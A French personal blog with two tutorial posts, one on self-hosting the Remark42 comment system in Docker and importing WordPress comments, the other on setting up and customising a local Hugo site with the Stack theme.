Weblog on Pascal's weblog

Hugo : Installation de remark42 pour les commentaires

Thu, 16 Jul 2026 16:18:48 +0000

Je poursuis mon projet de passer le blog de WP à Hugo. Maintenant que j’ai installé mon serveur Hugo en local, que j’ai trouvé un thème, et que je l’ai personnalisé (voir article précédent), il est temps de penser au système de commentaires que je souhaite ajouter, et à le tester.

Comme je le disais dans l’article à propos de migrer le blog vers Hugo, j’ai choisi Remark42 comme système de commentaire. Il a plusieurs qualités qui m’ont intéressé :

on peut l’auto-héberger dans un container docker.
le thème Stack que j’ai choisi le supporte de base (utile surtout pour le css).
on peut importer les commentaires du site Wordpress que l’on migre.
Il est basé sur la sécurité et le respect de la vie privée.
Il est recommandé par l’outil de migration wp2hugo.

Il coche donc toutes les cases. Il lui manque peut-être une interface d’administration, mais est-ce vraiment utile ? on peut quand même bloquer un utilisateur, supprimer un commentaire, désactiver les commentaires pour un article. L’essentiel est là.

On trouve quelques tutos pour l’installer et le paramétrer comme par exemple :

C’est donc parti pour l’installation !

Docker

On commence bien sûr par installer le container Docker. Comme d’habitude, j’utilise Dockge pour ce faire, avec le fichier compose.yaml suivant (qui sera modifié par la suite, mais c’est une base pour démarrer) :

services:
  remark:
    image: ghcr.io/umputun/remark42:latest
    container_name: remark42
    hostname: remark42
    restart: always
    logging:
      driver: json-file
      options:
        max-size: 10m
        max-file: "5"
    # uncomment to expose directly (no proxy)
    ports:
      - 8132:8080
    #  - "443:8443"

    # uncomment to expose to reverse proxy running on the same host but not in docker
    #ports:
    #  - "127.0.0.1:8080:8080"

    environment:
      - REMARK_URL=https://remark42.mon-domaine.fr
      - SECRET=xxxxx
      - DEBUG=true
      - AUTH_GOOGLE_CID
      - AUTH_GOOGLE_CSEC
      - AUTH_GITHUB_CID=xxxxxxxxxxxxxxxxxxxxxxx
      - AUTH_GITHUB_CSEC=yyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
      - AUTH_FACEBOOK_CID
      - AUTH_FACEBOOK_CSEC
      - AUTH_DISQUS_CID
      - AUTH_DISQUS_CSEC
      # Enable it only for the initial comment import or for manual backups.
      # Do not leave the server running with the ADMIN_PASSWD set if you don't have an intention
      # to keep creating backups manually!
      - ADMIN_PASSWD=remark42
    volumes:
      - /srv/dev-disk-by-uuid-wwww-xxxx-yyyy-zzzz/AppData/remark42/var:/srv/var
networks: {}

J’ai laissé les paramètres d’authentification des réseaux sociaux, mais je n’utiliserai que Github, dont les paramètres sont expliqués plus bas.
J’ai défini au niveau de mon hébergeur un sous-domaine pour ce serveur.
Le paramètre REMARK_URL doit être l’adresse externe par laquelle le service sera utilisé.
Mon proxy (swag) tourne dans un autre container, et j’y ai ajouté un fichier remark42.subdomain.conf standard.
Le paramètre ADMIN_PASSWD est activé pour pouvoir importer les commentaires de WP. Je le désactiverai ensuite.

On le lance, et ajoute PING à l’adresse du serveur : on reçoit “pong”, et donc le service tourne ! :cool:

Autorisations

Remark42 supporte l’identification via les réseaux sociaux de type Facebook, Apple ou Google : je ne les traiterai pas ici, et je n’ai pas l’intention de les activer pour mon blog. Je souhaite autoriser les commentaires anonymes, ceux avec un compte mail classique, et pour le fun j’ai ajouté Github.

Mail

Voilà les paramètres à ajouter au fichier compose.yaml de remark42, à modifier en fonction de votre fournisseur :

SMTP_HOST=smtp.mail.com
SMTP_PORT=465
SMTP_TLS=true
SMTP_STARTTLS=
SMTP_USERNAME=user@exemple.fr
SMTP_PASSWORD=mot_de_passe
NOTIFY_USERS=email
NOTIFY_EMAIL_VERIFICATION_SUBJ # "Email verification" by default
NOTIFY_ADMINS=email
NOTIFY_EMAIL_FROM="Remark42 notifications"
ADMIN_SHARED_EMAIL=administrateur@mail.fr
AUTH_ANON=true # enable anonymous commenting

Les paramètres SMTP_ sont obligatoires pour utiliser les fonctions de mail de Remark42.
Les paramètres NOTIFY_ permettent à l’utilisateur et/ou à l’administrateur de recevoir un mail en cas de nouveau commentaire sur l’adresse définie avec ADMIN_SHARED_EMAIL.
Enfin, le paramètre AUTH_ANON autorise les commentaires anonymes.

Remark42 a l’air assez pointu sur la sécurité, et lors de votre premier commentaire, un TOKEN vous est envoyé par mail que vous devrez copier/coller pour pouvoir envoyer votre commentaire.

Concernant l’autorisation de commentaires anonymes, à voir à l’usage, car sans les plugins WP de filtrage et autres détections de commentaires indésirables envoyés par des bots (et ce n’est pas ça qui manque !), je ne sais pas du tout quel sera la situation avec Hugo et Remark42 sur ce sujet. Je devrai peut-être annuler les commentaires anonymes.

GitHub

Il faut d’abord créer un nouveau “OAuth App”: https://github.com/settings/developers. Renseigner “Application Name” and “Homepage URL” pour votre site. Sous “Authorization callback URL” saisir l’URL de type FQDN suivie de /auth/github/callback, soit par exemple : https://remark42.mysite.com/auth/github/callback

Noter le Client ID (as AUTH_GITHUB_CID) et le Client Secret ( AUTH_GITHUB_CSEC) pour les renseigner dans le fichier compose.yaml (voir plus haut).

Pendant la manip, j’ai eu cette erreur :

C’était le paramètre REMARK_URL dans le fichier compose.yaml qui était incorrect (je l’avais renseigné au départ avec une adresse locale 192.168.1.x). Il doit absolument être une l’adresse web accessible de l’extérieur :

REMARK_URL=https://remark42.mon-domaine.fr

Utilisation

Voilà, on peut donc s’identifier via Github, mail, ou choisir le mode anonyme, puis poster un commentaire.

Et cerise sur le gâteau, Remark42 permet aussi de voter pour un commentaire :

Modèles pour les mails ou les messages d’erreur

Pour aller un peu plus loin, on peut créer ses propres “templates” de messages envoyés par Remark42, pour les franciser par exemple. Pour un serveur en Docker, il faut récupérer les fichiers sources sur le site gihtub: https://github.com/umputun/remark42/tree/master/backend/app/templates/static

Puis les éditer, les traduire, et les sauvegarder dans un dossier customised_templates créé à la même hauteur que le dossier var. Et on ajoute un nouveau volume pour chaque fichier dans le fichier compose.yaml :

volumes:
  - ./var:/srv/var
  - ./customised_templates/email_confirmation_login.html.tmpl:/srv/email_confirmation_login.html.tmpl:ro
  - ./customised_templates/email_confirmation_subscription.html.tmpl:/srv/email_confirmation_subscription.html.tmpl:ro
  - ./customised_templates/email_reply.html.tmpl:/srv/email_reply.html.tmpl:ro
  - ./customised_templates/email_unsubscribe.html.tmpl:/srv/email_unsubscribe.html.tmpl:ro
  - ./customised_templates/error_response.html.tmpl:/srv/error_response.html.tmpl:ro

Une fois le serveur redémarré, les fichiers modifiés sont bien utilisés :

Administration

Pas d’interface web pour gérer les commentaires, c’est peut-être le point faible de remark42. Il existe cependant des solutions externes, comme celle-ci : https://github.com/lauralesteves/remark42-admin-ui mais je ne l’ai pas installée. Je ne suis pas certain d’en avoir besoin. Car il y a tout de même moyen de réaliser certaines actions :

Afficher les paramètres : liste les utilisateurs cachés ou bloqués.
Désactiver les commentaires pour l’article. Peut être réactivé si on le souhaite.
Bloquer un utilisateur définitivement ou temporairement.
Effacer un commentaire.

Il faut renseigner le paramètre suivant dans le fichier compose.yaml pour définir un administrateur :

ADMIN_SHARED_ID=github_xxxxxxxxxxxxxxxxxxxxxxx

On trouve cet ID en s’identifiant avec son compte Github par exemple sur la page d’un article, comme si l’on voulait poster un commentaire, puis on clique sur son nom : on trouve alors en haut à droite son ID :

ou avec son compte mail :

Une fois identifié comme administrateur, on a accès à certaines fonctions, comme afficher les utilisateurs cachés ou bloqués, ainsi que désactiver les commentaires sur un article donné.

Import

Maintenant que tout est prêt, il faut importer les commentaires du site WP que l’on souhaite migrer. Remark42 propose fort heureusement cette possibilité, et la documentation est ici. Cette opération est importante et à faire immédiatement, car elle va écraser tous les commentaires existants (ceux ayant servis pour les tests par exemple).

On part donc du fichier d’export au format XML généré par WP (Panneau d’admin - Outils - Export) comme on a fait pour Hugo. Il faut ensuite l’éditer pour remplacer l’URL du site si celle-ci est destinée à changer. Par exemple si j’importe les commentaires du blog WP à l’adresse https://wptest.pled.fr, mais que mon futur blog se trouvera à l’adresse https://myhugo.pled.fr, alors il faut éditer le fichier XML et remplacer toutes les occurrences correspondantes avec la nouvelle URL.

Une fois ceci fait, il faut copier le fichier d’export dans le dossier /srv/var du container, puis lancer la commande suivante qui va importer les commentaires :

pascal@NAS:/srv/dev-disk-by-uuid-071a-91e2-4184-971f-7697/AppData/remark42/var$ sudo docker exec -it remark42 import -p wordpress -f /srv/var/wptest-export.xml -s remark

Côté log du container docker, on doit voir quelque chose de ce style :

remark42  | 2026/07/05 08:41:33.969 [DEBUG] {api/migrator.go:236 api.(*Migrator).runImport} import request for site=remark, provider=wordpress
remark42  | 2026/07/05 08:41:34.268 [INFO]  {migrator/wordpress.go:153 migrator.(*WordPress).convert.func1} converted 4 comments, {inpItems:563 failedItems:0 inpComments:4 failedComments:0 rejectedComments:0}
remark42  | 2026/07/05 08:41:34.276 [DEBUG] {migrator/wordpress.go:85 migrator.(*WordPress).Import} imported 4 comments to site remark
remark42  | 2026/07/05 08:41:34.276 [DEBUG] {api/migrator.go:250 api.(*Migrator).runImport} import request completed. site=remark, provider=wordpress, comments=4

On voit clairement que les quatre commentaires de test ont bien été importés.

Dépannage

Si vous ne voyez pas les commentaires malgré les logs positifs du container, il s’agit probablement d’un problème d’URL. Les commentaires sont stockés avec l’URL de l’article concerné, et celle-ci doit absolument correspondre. Elle peut être erronée, ou simplement être en http au lieu de https, ou même manquer d’un “/” en fin d’adresse. Il va donc falloir vérifier ces points.

Dans le navigateur, afficher un article censé avoir des commentaires, et vérifier dans la console (outils dev web) du navigateur la requête réseau (onglet network) de type GET api/v1/find?...&url=<URL> effectuée, et vérifier particulièrement la valeur de l’URL réclamée, ce doit être celle de votre site, par exemple :

https://remark42.mon-nas.fr/api/v1/find?site=remark&url=https%3A%2F%2Fmon-site-hugo.fr%2Farticle-avec-bouts-de-code%2F&sort=-active&format=tree

En parallèle, aller voir les URLs stockées par remark42 pour les comparer : pour cela, exécutez la commande suivante (sur une seule ligne) :

$ sudo docker exec remark42 backup -s remark -f /srv/var/dump.gz && \
sudo docker exec remark42 sh -c "gunzip -c /srv/var/dump.gz | grep -oE '\"url\":\"[^\"]+\"' | sort | uniq -c"
remark42 v1.16.0-556e0a7-20260522T13:32:16
2026/07/06 11:25:10.007 [INFO]  {cmd/backup.go:26 cmd.(*BackupCommand).Execute} export to ./var/backup, site remark
2026/07/06 11:25:10.007 [DEBUG] {cmd/backup.go:35 cmd.(*BackupCommand).Execute} export file /srv/var/dump.gz
2026/07/06 11:25:10.093 [INFO]  {cmd/backup.go:78 cmd.(*BackupCommand).Execute} export completed, file /srv/var/dump.gz
      2 "url":"https://mon-site-hugo.fr/article-avec-bouts-de-code/"
      2 "url":"https://mon-site-hugo.fr/article-avec-citation/"

Si la commande ne passe pas, allez voir les backups, ou créez-en un, puis éditer le fichier :

$ sudo docker exec -it remark42 backup -s remark

NOTE: le paramètre ADMIN_PASSWD doit être activé sur le serveur pour que la commande fonctionne.

Puis récupérer dans le dossier /srv/var/backup le fichier de backup créé ( userbackup-remark-20260706T045628.gz par exemple). Il reste à décompresser le fichier puis à l’éditer. On peut alors vérifier l’URL stockée dans Remark42 :

{"id":"40","pid":"","text":"ceci est un commentaire premier niveau\n","user":{"name":"pled","id":"wordpress_8d4451bb47d8fcd71060d39bada39c4b01818ce3","picture":"","ip":"c5e2c316a3678a6bd0723a79aad2b6964f805917","admin":false},"locator":{"site":"remark","url":"https://myhugo.pled.fr/article-avec-bouts-de-code"},"score":0,"vote":0,"time":"2026-06-09T15:49:33Z","imported":true,"title":"Article avec bouts de code"}

Si les URLs diffèrent, le plus simple est sans doute de modifier le fichier d’export WP à l’aide d’un éditeur de texte, modifier toutes les URLs pour correspondre à ce que l’on attend, puis relancer l’import (qui écrasera l’existant).

On peut aussi créer un fichier remap.txt contenant sur une line les deux URLs concernées sur la même ligne, comme ceci par exemple :

https://hugo.mon-site.fr/* https://hugo.mon-site.fr/posts/*

Puis exécuter le commande suivante :

$ sudo docker exec remark42 remark42 remap -s remark -f /srv/var/remap.txt

Conclusion

Voilà, le système de commentaire est installé et fonctionnel. Cela m’a paru très compliqué au départ, mais finalement, en y allant étape par étape, tout s’est très bien passé.

Le seul problème que j’ai eu a été pour l’importation des commentaires, et c’était parce que j’avais oublié de renseigner dans le site Hugo le paramètre suivant dans le fichier hugo.toml :

baseURL = 'https://hugo.pled.fr/'

Donc une erreur de ma part à force de tester des choses sur Hugo en même temps, en réinstallant, repartant de zéro, etc…

Finalement, je suis très satisfait de ce résultat, Remak42 a l’air très bien, sobre et fonctionnel, exactement ce que je cherchais.

Hugo avec thème Stack : installation en local

Thu, 16 Jul 2026 14:30:08 +0000

Dans un précédent article, j’expliquais mon idée de migrer mon blog Wordpress sous Hugo, pour des raisons de performance et d’efficacité, mais aussi de simplification car si Wordpress permet de faire beaucoup de choses, je n’en ai pas de réel besoin, alors autant passer à quelque chose de plus simple et de totalement opensource.

Dans cette optique, la première étape est d’installer Hugo en local sur le PC afin de pouvoir commencer à l’utiliser, puis à adapter un thème à ce que je souhaite obtenir comme apparence.

Cet article est assez long puisque l’on va partir du thème Stack de départ, totalement vide :

Pour arriver à ça :

C’est parti, il y a du boulot ! :wink:

Installation

La première chose à faire est d’installer le paquet Hugo, comme on le ferait pour n’importe quel autre logiciel, et donc sur EndeavourOS taper la commande suivante :

$ sudo pacman -S hugo

Il faut ensuite choisir un thème sur cette page, et il en existe de tous types, le choix est vaste même en sélectionnant le type “Blog”. Pour chaque thème, une démo est accessible, c’est donc assez bien fait et cela aide à faire son choix.

En ce qui me concerne, j’ai choisi le thème Stack qui correspond à peu près à ce que je souhaite : une présentation classique des articles dans l’ordre chronologique, avec une image pour chaque article, une colonne (sidebar) de chaque côté, histoire de ne pas trop changer avec le thème actuel sur WP. Enfin, il dispose d’un mode “Dark” intégré.

Puis on suit la doc officielle https://gohugo.io/getting-started/quick-start/ et on passe les commandes suivantes qui vont créer le site, installer le thème stack et l’activer :

$ mkdir Hugo
$ cd Hugo
$ hugo new project pled
$ cd pled
$ git init
$ git submodule add https://github.com/CaiJimmy/hugo-theme-stack themes/stack
$ echo "theme = 'stack'" >> hugo.toml

Voilà, il suffit maintenant de lancer hugo en tant que serveur en se plaçant dans le répertoire avec la commande $ hugo server, pour obtenir immédiatement un site disponible localement, avec le thème stack, mais totalement vide :

$ hugo server
Watching for changes in /Hugo/pled/archetypes, /Hugo/pled/assets, /Hugo/pled/content, /Hugo/pled/data, /Hugo/pled/i18n, /Hugo/pled/layouts, /Hugo/pled/static, /Hugo/pled/themes/stack/archetypes, /Hugo/pled/themes/stack/assets/{icons,scss,ts}, /Hugo/pled/themes/stack/data, ... and 2 more
Watching for config changes in /Hugo/pled/hugo.toml, /Hugo/pled/themes/stack/config/_default
Start building sites …
hugo v0.163.3+extended+withdeploy linux/amd64 BuildDate=unknown

                  │ EN
──────────────────┼────
 Pages            │  8
 Paginator pages  │  0
 Non-page files   │  0
 Static files     │  0
 Processed images │  0
 Aliases          │  3
 Cleaned          │  0

Built in 24 ms
Environment: "development"
Serving pages from disk
Running in Fast Render Mode. For full rebuilds on change: hugo server --disableFastRender
Web Server is available at http://localhost:1313/ (bind address 127.0.0.1)
Press Ctrl+C to stop

Il ne reste plus qu’à se rendre sur l’adresse indiquée : http://localhost:1313 :

On ne peut pas dire que ce soit compliqué ! Par contre, ça manque de contenu ! :oops:

Contenu

Il y a un dossier “Demo” dans le thème ( themes/stack/demo). On peut le visualiser en lançant le script run.sh qui se trouve dans ce dossier, mais le fichier README.md précise :

This is an example site used for solely for testing purposes. It is not meant to be used as a template for your site.

Cela vaut le coup de le lancer et de voir le résultat, pour avoir une idée de ce que à quoi peut ressembler le thème. Quitte à tout effacer ensuite et repartir d’un site propre. C’est aussi un bon point de départ pour le transformer et le personnaliser ensuite. À moins de préférer partir de rien et de tout faire soi-même en suivant la documentation du thème. À chacun de choisir !

J’ai choisi une solution intermédiaire : j’ai installé la démo, regardé ce que l’on peut faire, puis suis reparti d’un site vide, en m’inspirant des fichiers du dossier demo au fur et à mesure de ce que je voulais faire, et en les personnalisant à chaque fois.

D’ailleurs, il faudra toujours penser à faire les modifications à la racine du site, en récréant l’arborescence du fichier, afin d’éviter tout perdre lors d’une mise à jour du thème. Par exemple, on récupère le fichier Hugo/pled/themes/stack/demo/config/_default/menu.toml et on le copie dans Hugo/pled/config/_default/menu.toml. Si les dossiers n’existent pas, il suffit de les créer pour avoir la même arborescence. Car si j’ai bien compris, Hugo regarde toujours d’abord à la racine du site, et seulement ensuite dans le dossier du thème.

Le plus simple pour l’instant est de copier tout le dossier themes/stack/demo/ content/ dans pled/content, soit les dossiers categories, page et post, à l’exception des fichiers _index.ja.md, _index.zh.md et _index.zh-hant-tw.md qui sont destinés au langues asiatiques, et donc inutiles (au moins dans mon cas).

Les articles vont immédiatement apparaître dans le navigateur, ainsi qu’un menu dans la colonne de gauche :

Le menu à gauche, ce sont en fait les pages définies dans le dossier pages que l’on vient de copier :

Il est donc très facile de les franciser en éditant le fichier index.md de chaque dossier.

Apparence

Il s’agit maintenant personnaliser le thème, et pour cela il va falloir modifier essentiellement les trois fichiers suivants : hugo.toml à la racine du site, puis dans themes/stack/config/_default/ : menu.toml et params.toml.

Fichier hugo.toml

Le premier fichier à aller mettre à jour est le fichier hugo.toml, à la racine du site. Son contenu par défaut est le suivant :

baseURL = 'https://example.org/'
locale = 'en-us'
title = 'My New Hugo Project'
theme = 'stack'

Que l’on peut vite transformer en :

baseURL = 'https://myhugo.pled.fr/'
locale = 'fr'
title = "Pascal's weblog"
theme = 'stack'

Le param baseURL doit représenter l’URL réelle de votre site quand il sera en ligne (ce sera nécessaire quand le site statique sera copié à cette adresse).
Le paramètre theme a été mis à jour quand on a installé le thème stack.
J’ai utilisé un double guillemet pour encadrer le param title, puisque j’ai un simple guillemet dans le titre de mon blog.

Fichier menu.toml

Le fichier menu.toml va permettre d’ajouter les icônes des réseaux sociaux que vous voulez afficher. Dans un premier temps, je décide d’afficher une icône pour Github, Mail et Mastodon. On va d’abord récupérer le fichier Hugo/pled/themes/stack/demo/config/_default/menu.toml et le copier dans Hugo/pled/config/_default/menu.toml (créer les dossiers manquants).

Mais si l’icône Github est bien présente dans le thème par défaut, ce n’est pas le cas pour le Mail et Mastodon. Il va donc falloir créer ces icônes.

Icônes

Je suis allé sur le site https://tablericons.com/ pour chercher les icônes manquantes. Une fois la bonne icône trouvée, on édite le code du fichier .svg correspondant (c’est un fichier texte). J’ai créé ainsi un fichier mail.svg et un autre brand-mastodon.svg. Et on l’adapte le dessin au thème en allant voir le code de l’icône github par exemple (dans themes/stack/assets/icons), pour notamment la couleur, l’épaisseur du trait, etc… afin d’avoir des icônes avec le même style. Ce sont les infos au début du fichier .svg qui définissent tout ça :

<svg
  xmlns="http://www.w3.org/2000/svg"
  width="24"
  height="24"
  viewBox="0 0 24 24"
  fill="none"
  stroke="currentColor"
  stroke-width="2"
  stroke-linecap="round"
  stroke-linejoin="round"
>

La suite du fichier .svg, représentent les données numériques qui vont dessiner l’icône, donc on n’y touche pas.

Une fois les icônes requises créées et copiées dans le dossier themes/stack/assets/icons, on peut modifier le contenu du fichier menu.toml comme ceci :

[[social]]
    identifier = "mail"
    name       = "Mail"
    url        = "mailto:myname@myprovider.com"

    [social.params]
        icon = "mail"

[[social]]
    identifier = "github"
    name       = "GitHub"
    url        = "https://github.com/myname/"

    [social.params]
        icon = "brand-github"

[[social]]
    identifier = "mastodon"
    name       = "Mastodon"
    url        = "https://mastodon.fr/@myname"

    [social.params]
        icon = "brand-mastodon"

Et les icônes souhaitées apparaissent dans le menu de gauche :

Fichier params.toml

Celui-ci contient plus d’infos et va permettre de continuer à personnaliser le thème.

Widgets

Et on commence par le menu de droite, proposé par le thème. Ce sont les “widgets”, et ils s’activent dans ce fichier params.toml, que l’on modifie donc comme suit :

[widgets]
    homepage = [
        { type = "search" },
        { type = "archives", params = { limit = 5 } },
        { type = "categories", params = { limit = 10 } },
        { type = "tag-cloud", params = { limit = 10 } },
    ]
    page     = []

NOTE : on peut activer ces widgets pour la homepage et/ou pour les pages… Pour l’instant, je ne les déclare que pour la homepage, ce qui nous affiche dans la partie droite de la page d’accueil :

Je ne pense pas garder la ligne “tag-cloud”, puisque sur mon blog, je n’utilise que les catégories. Mais la possibilité est là, les “mots clés” se définissant dans le front matter de chaque article (tout comme les catégories) :

---
title: Image Gallery
description: Showcasing the built-in image gallery support
date: 2026-01-26
slug: image-gallery
image: helena-hertz-wWZzXlDpMog-unsplash.jpg
categories:
    - Documentation
tags:
    - Gallery
    - Photoswipe
toc: false
---

Vous remarquez au passage le paramètre toc qui permet d’afficher facilement une table des matières pour un article donné (écrit en markdown je le rappelle). Cela montre la puissance d’Hugo et la facilité d’utilisation, comparé à Wordpress.

Avatar

Puis on va ajouter une icône (avatar) dans le dossier Hugo/pled/assets/img et on modifie la section sidebar comme suit :

[sidebar]
    compact = false
    emoji    = "🍥"
    subtitle = "Mon prochain blog fait avec Hugo"
    avatar  = "img/avatar.png"

Voilà le résultat après avoir relancé Hugo :

Pour la petite emoji 🍥, je l’ai récupérée sur le site du thème, afin d’en avoir la dernière version. Il s’agit de l’emoji “Fish Cake with Swirl”, qui me fait penser au logo Debian ! Plus d’infos sur cette page.

Favicon

Concernant la favicon du site, qui s’affiche dans l’onglet du navigateur, il suffit d’ajouter cette ligne dans le fichier, après avoir copié le fichier favicon.png, toujours dans le dossier Hugo/pled/assets/img :

favicon = "img/favicon.png"

Copyright

On peut personnaliser les informations de Copyright :

[footer]
    since      = 2005
    customText = "Blog ouvert depuis le 25 décembre 2005"

Commentaires

Dans ce fichier, on va aussi trouver tous les systèmes de commentaires supportés par le thème. Une fois votre système de commentaires choisi (Hugo n’intègre rien à ce sujet, ce n’est pas de son ressort), on peut supprimer tous les autres devenus inutiles.

J’ai choisi Remark42. Je ne laisse donc que ceci :

[comments]
    enabled  = true
    provider = "remark42"

    [comments.remark42]
        host                    = "https://remark42.monserveur.fr"
        site                    = "remark"
        locale                  = "fr"
        max_shown_comments      = 15
        show_email_subscription = true

Divers

Il y a d’autres paramètres dans ce fichier, comme les diagrammes Mermaid, qu’il convient de laisser au cas où le besoin s’en fait sentir un jour.

Les “AlertIcon” définies dans ce fichier seront aussi pratiques pour afficher des messages de ce style dans un article :

Voilà pour l’essentiel de ce que j’ai vu dans ce fichier params.toml.

Page Archive

La page Archive est plutôt intéressante. Elle affiche en haut la liste des catégories avec une image (ou pas), ce qui permet de filter selon la catégorie souhaitée :

Puis elle affiche les articles par date, en ligne, avec une icône correspondant à l’image en tête de l’article (s’il y en une de définie dans le front matter). Mais elle est affichée à droite dans la page, après le bloc contenant le titre :

Je préfère avoir l’image affichée à gauche, comme je l’avais pour mon blog WP.

On procède toujours de la même façon, en copiant le fichier que l’on veut personnaliser du thème vers la racine du site. Ici, je copie Hugo/pled/themes/stack/layouts/_partials/article-list/compact.html dans Hugo/pled/layouts/_partials/article-list/compact.html.

Puis je le modifie en déplaçant le bloc suivant AVANT le bloc <div class="articles-details">

{{- $image := partial "helper/image" (dict "Image" .Params.image "Resources" .Resources "Context" .) -}}
        {{ if $image }}

            {{ partial "helper/thumbnail-image" (dict
                "Resource" $image.Resource
                "Width" 60
                "Height" 60
                "Resize" .Site.Params.ImageProcessing.Thumbnail.Enabled
                "Attributes" (dict
                    "src" $image.Permalink
                    "alt" .Title
                    "loading" "lazy"
                    "width" $image.Width
                    "height" $image.Height
                )
            ) }}

        {{ end }}

Et le tour est joué :

Lien vers mon album Zenphoto

J’ai aussi besoin d’ajouter un lien direct vers mon album-photo Zenphoto, qui tourne sur un sous-domaine.

La première chose à faire, c’est de créer une icône Zenphoto qui n’existe pas par défaut. Cette fois je suis allé sur le site svgicons pour la trouver, puis j’ai procédé de la même manière que précédemment pour harmoniser son apparence, et j’ai copié le fichier .svg dans le dossier icons du theme.

On crée ensuite l’entrée dans le menu de gauche en l’ajoutant dans le fichier hugo.toml : c’est la méthode 2 de la doc pour créer une entrée dans le menu. Puisque l’on sort du blog (newTab: false), la limitation de ne pas avoir le lien highlighté n’est pas gênant.

[menu]
[[menu.main]]
    name = "Album Photo"
    url = "https://zenphoto.pled.fr"
    weight = 10
    identifier = "zenphoto"
    [menu.main.params]
        icon = "brand-zenphoto"
        newTab = false

et voilà mon lien vers Zenphoto qui apparaît dans le menu de gauche :

Liens Voyage

Je veux aussi ajouter un lien vers les articles de la catégorie Voyage pour les mettre en évidence. Il s’agit d’afficher tous les articles de cette catégorie en cliquant sur cette entrée. J’ai auparavant créé un article de cette catégorie pour mes tests, avec l’aide d’un outil de migration WP vers Hugo.

Là aussi, il va me falloir commencer par trouver une icône, et la copier dans le dossier du thème. On procède toujours de la même façon à ce sujet.

Cette fois, je vais utiliser la méthode 1 de la documentation. Il me suffit de créer un dossier Voyage dans Hugo/pled/content/pages, et d’y créer un fichier index.md (inspiré de celui du dossier archives) :

---
title: "Voyage"
date: 2026-05-15
layout: "voyage"
slug: "voyage"
menu:
    main:
        weight: -70
        params:
            icon: world
---

Et voilà l’entrée Voyage qui apparaît dans le menu avec l’icône que j’ai choisi :

Reste à créer le “layout” défini pour cette page “Voyage”. Il faudra créer un fichier voyage.html dans le dossier Hugo/pled/layouts. Je me suis inspiré du layout de la page archives.html, en l’adaptant pour n’afficher que les pages de la catégorie “Voyage” :

{{ define "body-class" }}template-archives{{ end }}
{{ define "main" }}

    {{ $voyage := site.GetPage "/categories/voyage" }}
    {{ with $voyage }}

                {{ partial "article-list/tile" $voyage }}

    {{ end }}

{{ $pages := where .Site.RegularPages "Params.categories" "intersect" (slice "Voyage") }}

    {{ range $pages.GroupByDate "2006" }}
    {{ $id := lower (replace .Key " " "-") }}

        {{ .Key }}

            {{ range .Pages }}
                {{ partial "article-list/compact" . }}
            {{ end }}

    {{ end }}

    {{ partialCached "footer/footer" . }}
{{ end }}

Reste à attribuer une image à cette catégorie. Pour ce faire, je crée un dossier Voyage dans Hugo/pled/categories dans lequel je copie une image de mon choix ainsi qu’un fichier _index.md avec le contenu suivant :

---
title: Voyage
description: "Articles à propos de mes voyages"
slug: "voyage"
image: "riziere.png"
style:
    background: "#2a9d8f"
    color: "#fff"
---

Et voilà le résultat en cliquant sur le menu Voyage :

Description

Avec Hugo, je peux ajouter une description pour chaque article (ça remplace l’excerpt de WP avantageusement je trouve). Ce champ description se trouve dans le front matter en début de chaque fichier .md où l’on peut ajouter les metadata de chaque article.

Dans l’article de la catégorie Voyage que j’ai créé, le front matter est comme ceci :

---
title: "Asie 2023 - Présentation"
date: 2026-05-04
slug: "asie-2023-le-voyage"
image: carte.png
description: "Description du voyage de 2023 : le parcours, les changements qu'il a fallu faire, et les cours de cuisine"
categories:
    - Voyage
---

Je souhaite que la description s’affiche dans les pages Voyage et Archive, je trouve cela plus clair. On a vu que c’est la page /pled/layouts/_partials/article-list/compact.html qui est utilisée pour ce type de vue. Je la modifie en ajoutant la partie description sous la partie title :

<div class="article-details">
            <h2 class="article-title">
                {{- .Title -}}
            </h2>

                {{ with .Params.description }}
                    <p class="section-description">{{ . }}</p>
                {{ end }}

Et voilà le résultat :

Il en sera de même pour la page Archives…

Conclusion

Voilà désormais la page d’accueil du blog : il commence à ressembler à ce que je souhaite.

La hauteur des images pour chaque article me paraît tout de même un peu grande, je préférerais carrément revenir à ce que j’ai sur WP, c’est-à-dire une petite image spécifique alignée à gauche et le texte qui commence à la même hauteur :

Mais le thème Stack ne fonctionne pas ainsi, apparemment il prend la première image de l’article et en extrait une partie qu’il redimensionne pour l’afficher comme en-tête… Ce traitement des images par le thème a l’air complexe, et je ne suis pas allé plus loin pour l’instant. J’ai tout de même trouvé comment réduire facilement la hauteur des images : il suffit de rajouter ce code CSS dans le fichier /Hugo/pled/assets/scss/custom.scss (là encore, on crée le fichier et l’arborescence) :

/* réduction hauteur images en-tête articles */
.article-image img {
  max-height: 150px !important;
  width: 100% !important;
  height: auto !important;
}

C’est déjà un peu mieux à mon goût :

Conclusion

Voilà, je vais m’arrêter là pour l’instant, le résultat obtenu est déjà pas mal je trouve. Pour l’envoyer sur mon hébergeur, il suffit d’arrêter le serveur local, puis de lancer la commande $ hugo :

$ hugo
Start building sites …
hugo v0.164.0+extended+withdeploy linux/amd64 BuildDate=unknown

WARN  Raw HTML omitted while rendering "/Backup/Hugo/pled/content/post/asie-2023-le-voyage/index.md"; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe
You can suppress this warning by adding the following to your project configuration:
ignoreLogs = ['warning-goldmark-raw-html']
WARN  Raw HTML omitted while rendering "/Backup/Hugo/pled/content/post/test-de-galerie-photo.md"; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe
You can suppress this warning by adding the following to your project configuration:
ignoreLogs = ['warning-goldmark-raw-html']
WARN  Raw HTML omitted while rendering "/Backup/Hugo/pled/content/post/Markdown Syntax/index.md"; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe
You can suppress this warning by adding the following to your project configuration:
ignoreLogs = ['warning-goldmark-raw-html']
WARN  Raw HTML omitted while rendering "/Backup/Hugo/pled/content/post/shortcodes/index.md"; see https://gohugo.io/getting-started/configuration-markup/#rendererunsafe
You can suppress this warning by adding the following to your project configuration:
ignoreLogs = ['warning-goldmark-raw-html']

                  │ EN
──────────────────┼─────
 Pages            │ 101
 Paginator pages  │   3
 Non-page files   │  12
 Static files     │  24
 Processed images │  21
 Aliases          │  26
 Cleaned          │   0

Total in 219 ms

Cette commande génère toutes les pages statiques en HTML pour pouvoir afficher le site comme il se doit. Pour l’instant, je ne tiens pas compte des WARN, ça n’a pas l’air très important. Une fois ceci fait, il ne reste plus qu’à envoyer le contenu du dossier public sur le site prévu, et le blog est disponible.

